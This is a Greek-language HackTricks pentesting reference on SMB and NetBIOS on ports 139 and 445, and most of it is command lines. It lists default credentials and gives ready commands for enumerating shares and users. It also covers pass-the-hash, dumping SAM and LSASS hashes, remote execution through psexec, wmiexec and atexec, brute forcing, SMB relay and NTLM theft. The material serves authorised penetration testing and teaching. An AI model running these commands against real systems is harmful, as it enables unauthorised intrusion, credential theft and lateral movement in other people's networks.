hacktricks/network-services-pentesting/pentesting-smb

139,445 - Pentesting SMB

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
• Αποκτήστε το επίσημο PEASS & HackTricks swag
• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
• Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.

Θύρα 139

Το Βασικό Σύστημα Εισόδου-Εξόδου Δικτύου** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, Η/Υ και επιφάνειες εργασίας εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό υλικό και να διευκολύνουν τη μετάδοση δεδομένων στο δίκτυο. Η ταυτοποίηση και η εντοπισμός εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να φτάσουν μέχρι 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργών ως πελάτης) εκδίδει μια εντολή για "κλήση" μιας άλλης εφαρμογής (λειτουργών ως διακομιστής) χρησιμοποιώντας τη Θύρα TCP 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Θύρα 445

Τεχνικά, η Θύρα 139 αναφέρεται ως 'NBT πάνω από IP', ενώ η Θύρα 445 αναγνωρίζεται ως 'SMB πάνω από IP'. Το ακρωνύμιο SMB σημαίνει 'Server Message Blocks', το οποίο είναι επίσης γνωστό σύγχρονα ως το Common Internet File System (CIFS). Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για τη δυνατότητα κοινής πρόσβασης σε αρχεία, εκτυπωτές, σειριακές θύρες, και για τη διευκόλυνση διαφόρων μορφών επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.

Για παράδειγμα, στο πλαίσιο των Windows, το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίστροφα, σε διαφορετικά συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Το πρωτόκολλο Server Message Block (SMB), λειτουργώντας σε ένα μοντέλο client-server, σχεδιάστηκε για τον έλεγχο της πρόσβασης σε αρχεία, καταλόγους και άλλους δικτυακούς πόρους όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στη σειρά λειτουργικών συστημάτων Windows, το SMB εξασφαλίζει αντιστροφή συμβατότητα, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν απροβλημάτιστα με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο Samba προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα Linux και Unix, διευκολύνοντας έτσι τη διασυνοριακή επικοινωνία μέσω SMB.

Οι κοινοποιήσεις, που αντιπροσωπεύουν οποιοδήποτε τμήμα του τοπικού συστήματος αρχείων, μπορούν να παρέχονται από ένα διακομιστή SMB, καθιστώντας την ιεραρχία ορατή σε έναν πελάτη εν μέρει ανεξάρτητη από την πραγματική δομή του διακομιστή. Οι Λίστες Ελέγχου Πρόσβασης (ACLs), που ορίζουν τα δικαιώματα πρόσβασης, επιτρέπουν τον λεπτοδιάκριτο έλεγχο των δικαιωμάτων χρήστη, συμπεριλαμβανομένων χαρακτηριστικών όπως εκτέλεση, ανάγνωση και πλήρης πρόσβαση. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινοποιήσεις, και διαφέρουν από τα τοπικά δικαιώματα που έχουν οριστεί στο διακομιστή.

Κοινοποίηση IPC$

Η πρόσβαση στην κοινοποίηση IPC$ μπορεί να επιτευχθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωληνώσεων. Το εργαλείο enum4linux είναι χρήσιμο για αυτόν τον σκοπό. Χρησιμοποιημένο σωστά, επιτρέπει την απόκτηση:

• Πληροφορίες για το λειτουργικό σύστημα
• Λεπτομέρειες για το γονικό τομέα
• Ένα συγκριτικό στοιχείο τοπικών χρηστών και ομάδων
• Πληροφορίες για διαθέσιμες κοινοποιήσεις SMB
• Την αποτελεσματική πολιτική ασφαλείας του συστήματος

Αυτή η λειτουργικότητα είναι κρίσιμη για διαχειριστές δικτύου και επαγγελματίες ασφαλείας για να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το enum4linux παρέχει μια περιεκτική εικόνα του περιβάλλοντος SMB του στόχου συστήματος, το οποίο είναι ουσιώδες για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι κατάλληλα ασφαλισμένες.

enum4linux -a target_ip

Το παραπάνω παράδειγμα είναι πώς μπορεί να χρησιμοποιηθεί το enum4linux για να πραγματοποιήσει μια πλήρη απαρίθμηση εναντίον ενός στόχου που καθορίζεται από το target_ip.

Τι είναι το NTLM

Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς μπορεί να καταχραστεί, θα βρείτε πολύ ενδιαφέρουσα αυτήν τη σελίδα για το NTLM όπου εξηγείται πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να επωφεληθείτε από αυτό:

{% content-ref url="../../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

Απαρίθμηση Διακομιστή

Σάρωση ενός δικτύου αναζητώντας οικοδεσπότες:

nbtscan -r 192.168.0.1/24

Έκδοση διακομιστή SMB

Για να αναζητήσετε πιθανές ευπάθειες στην έκδοση του SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Εάν αυτές οι πληροφορίες δεν εμφανίζονται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε:

• Χρησιμοποιήστε το MSF πρόσθετο ενότητας _auxiliary/scanner/smb/smb_version
• Ή αυτό το σενάριο:

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Αναζήτηση εκμετάλλευσης

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Πιθανά Διαπιστευτήρια

Όνομα Χρήστη	Συνηθισμένοι κωδικοί πρόσβασης
(κενό)	(κενό)
guest	(κενό)
Administrator, admin	(κενό), password, administrator, admin
arcserve	arcserve, backup
tivoli, tmersrvd	tivoli, tmersrvd, admin
backupexec, backup	backupexec, backup, arcada
test, lab, demo	password, test, lab, demo

Επίθεση Βίας

• Επίθεση Βίας στο SMB

Πληροφορίες Περιβάλλοντος SMB

Απόκτηση Πληροφοριών

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Απαρίθμηση Χρηστών, Ομάδων & Χρηστών που έχουν συνδεθεί

Αυτές οι πληροφορίες πρέπει να έχουν ήδη συλλεχθεί από το enum4linux και το enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Απαρίθμηση τοπικών χρηστών

Impacket

lookupsid.py -no-pass hostname.local

Μονογραμμή

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Απαριθμώντας τους τοπικούς χρήστες

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Απαρίθμηση LSARPC και SAMR rpcclient

{% content-ref url="rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

Σύνδεση GUI από το Linux

Στο τερματικό:

xdg-open smb://cascade.htb/

Στο παράθυρο του φακέλου (nautilus, thunar, κλπ)

smb://friendzone.htb/general/

Απαρίθμηση Κοινόχρηστων Φακέλων

Λίστα κοινόχρηστων φακέλων

Πάντα συνιστάται να ελέγξετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε τα null διαπιστευτήρια/επισκέπτης χρήστης.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Σύνδεση/Λίστα κοινόχρηστου φακέλου

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Χειροκίνητη απαρίθμηση κοινοποιήσεων των Windows και σύνδεση σε αυτές

Ενδέχεται να είστε περιορισμένοι στην εμφάνιση οποιωνδήποτε κοινοποιήσεων του υπολογιστή-στόχου και όταν προσπαθείτε να τις απαριθμήσετε, φαίνεται ότι δεν υπάρχουν κοινοποιήσεις στις οποίες μπορείτε να συνδεθείτε. Επομένως, αξίζει να δοκιμάσετε να συνδεθείτε χειροκίνητα σε μια κοινοποίηση. Για να απαριθμήσετε τις κοινοποιήσεις χειροκίνητα, μπορεί να θέλετε να ψάξετε για απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. κενή συνεδρία ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν εάν η κοινοποίηση υπάρχει και δεν έχετε πρόσβαση σε αυτήν ή εάν η κοινοποίηση δεν υπάρχει καθόλου.

Συνήθεις ονομασίες κοινοποιήσεων για στόχους Windows είναι:

• C$
• D$
• ADMIN$
• IPC$
• PRINT$
• FAX$
• SYSVOL
• NETLOGON

(Συνήθεις ονομασίες κοινοποιήσεων από το Network Security Assessment 3η έκδοση)

Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτές χρησιμοποιώντας την παρακάτω εντολή

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

ή αυτό το script (χρησιμοποιώντας μια null συνεδρία)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

Παραδείγματα

Μερικά παραδείγματα επιθέσεων SMB περιλαμβάνουν:

• Εκμετάλλευση ευπαθειών στο πρωτόκολλο SMB για αποκτήσει πρόσβαση σε συστήματα
• Χρήση εργαλείων όπως το Responder για να προκαλέσεις αποκλίσεις στην κίνηση SMB και να αποκτήσεις πληροφορίες σύνδεσης
• Εκτέλεση επιθέσεων κοινής χρήσης (share) για να αποκτήσεις πρόσβαση σε αρχεία και φακέλους που είναι κοινόχρηστοι μέσω του πρωτοκόλλου SMB

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Απαρίθμηση κοινοποιήσεων από Windows / χωρίς εργαλεία τρίτων

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

Κονσόλα CMD

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (γραφικό)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.

### Τοποθετήστε ένα κοινόχρηστο φάκελο

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Λήψη αρχείων

Διαβάστε τις προηγούμενες ενότητες για να μάθετε πως να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap

#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Αναζήτηση Κοινόχρηστων Φακέλων Domain

• Snaffler****

Snaffler.exe -s -d domain.local -o snaffler.log -v data

• CrackMapExec αράχνη.
• -M spider_plus [--share <share_name>]
• --pattern txt

sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Ειδικά ενδιαφέρον αποτελούν τα αρχεία με τα ονόματα Registry.xml καθώς μπορεί να περιέχουν κωδικούς πρόσβασης για χρήστες που έχουν ρυθμιστεί με αυτόματη σύνδεση μέσω της ομάδας πολιτικής. Ή τα αρχεία web.config καθώς περιέχουν διαπιστευτήρια.

{% hint style="info" %} Το SYSVOL share είναι αναγνώσιμο από όλους τους εξουσιοδοτημένους χρήστες στον τομέα. Εκεί μπορείτε να βρείτε πολλά διαφορετικά αρχεία εκτέλεσης εντολών, VBScript και PowerShell.
Θα πρέπει να ελέγξετε τα scripts μέσα σε αυτό καθώς ενδέχεται να βρείτε ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης. {% endhint %}

Διάβασμα του Μητρώου

Μπορείτε να διαβάσετε το μητρώο χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket reg.py σάς επιτρέπει να το δοκιμάσετε:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

Η προεπιλεγμένη ρύθμιση ενός διακομιστή Samba συνήθως βρίσκεται στο /etc/samba/smb.conf και ενδέχεται να περιέχει μερικές επικίνδυνες ρυθμίσεις:

Ρύθμιση	Περιγραφή
browseable = yes	Να επιτρέπεται η εμφάνιση διαθέσιμων κοινών φακέλων;
read only = no	Να απαγορεύεται η δημιουργία και τροποποίηση αρχείων;
writable = yes	Να επιτρέπεται στους χρήστες η δημιουργία και τροποποίηση αρχείων;
guest ok = yes	Να επιτρέπεται η σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης;
enable privileges = yes	Να τηρούνται τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID;
create mask = 0777	Ποιες άδειες πρέπει να ανατεθούν στα νεοδημιουργημένα αρχεία;
directory mask = 0777	Ποιες άδειες πρέπει να ανατεθούν στους νεοδημιουργημένους φακέλους;
logon script = script.sh	Ποιο σενάριο πρέπει να εκτελεστεί κατά τη σύνδεση του χρήστη;
magic script = script.sh	Ποιο σενάριο πρέπει να εκτελεστεί όταν κλείνει το σενάριο;
magic output = script.out	Πού πρέπει να αποθηκευτεί το αποτέλεσμα του μαγικού σεναρίου;

Η εντολή smbstatus παρέχει πληροφορίες σχετικά με τον διακομιστή και με το ποιος είναι συνδεδεμένος.

Ταυτοποίηση χρήσης Kerberos

Μπορείτε να ταυτοποιηθείτε στο Kerberos χρησιμοποιώντας τα εργαλεία smbclient και rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Εκτέλεση Εντολών

crackmapexec

Το crackmapexec μπορεί να εκτελέσει εντολές καταχρηστεύοντας οποιαδήποτε από τις μεθόδους mmcexec, smbexec, atexec, wmiexec με την wmiexec να είναι η προεπιλεγμένη μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Και οι δύο επιλογές θα δημιουργήσουν ένα νέο υπηρεσία (χρησιμοποιώντας \pipe\svcctl μέσω SMB) στο μηχάνημα θύματος και θα το χρησιμοποιήσουν για να εκτελέσουν κάτι (psexec θα ανεβάσει ένα εκτελέσιμο αρχείο στον κοινόχρηστο φάκελο ADMIN$ και smbexec θα δείχνει στο cmd.exe/powershell.exe και θα βάλει στα ορίσματα το φορτωμένο αρχείο --τεχνική χωρίς αρχείο--).
Περισσότερες πληροφορίες σχετικά με το psexec και το smbexec.
Στο kali βρίσκεται στο /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Χρησιμοποιώντας τη παράμετρο -k μπορείτε να πιστοποιηθείτε εναντίον του kerberos αντί για το NTLM

wmiexec/dcomexec

Εκτελέστε με διακριτικότητα ένα κέλυφος εντολών χωρίς να αγγίξετε το δίσκο ή να εκτελέσετε ένα νέο υπηρεσία χρησιμοποιώντας το DCOM μέσω θύρας 135.
Στο kali βρίσκεται στο /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Χρησιμοποιώντας τη παράμετρο -k μπορείτε να πιστοποιηθείτε εναντίον του kerberos αντί για το NTLM.

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας \pipe\atsvc μέσω SMB).
Στο kali βρίσκεται στο /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket αναφορά

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Δοκιμάστε με εξαναγκασμό τα διαπιστευτήρια των χρηστών

Αυτό δεν συνιστάται, μπορείτε να μπλοκάρετε ένα λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

Επίθεση SMB relay

Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να καταγράψει τις συνεδρίες πιστοποίησης SMB σε ένα εσωτερικό δίκτυο και να τις μεταφέρει σε μια στόχο μηχανή. Εάν η συνεδρία πιστοποίησης είναι επιτυχής, θα σας μεταφέρει αυτόματα σε ένα σύστημα shell.
Περισσότερες πληροφορίες για αυτήν την επίθεση εδώ.

SMB-Trap

Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να πιστοποιηθεί στον κεντρικό υπολογιστή όταν μια σελίδα προσπαθεί να έχει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: img src="\\10.10.10.10\path\image.jpg"

Αυτό συμβαίνει με τις λειτουργίες:

• URLDownloadToFile
• URLDownloadToCache
• URLOpenStream
• URLOpenBlockingStream

Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype)

SMBTrap χρησιμοποιώντας το MitMf

Κλοπή NTLM

Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια πιστοποίησης SMB, επιτρέποντας την παρεμβολή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να αποκωδικοποιηθεί εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια επίθεση SMB relay.

Δείτε: ntlm_theft

Αυτόματες Εντολές HackTricks

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
• Αποκτήστε το επίσημο PEASS & HackTricks swag
• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
• Εγγραφείτε στη 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.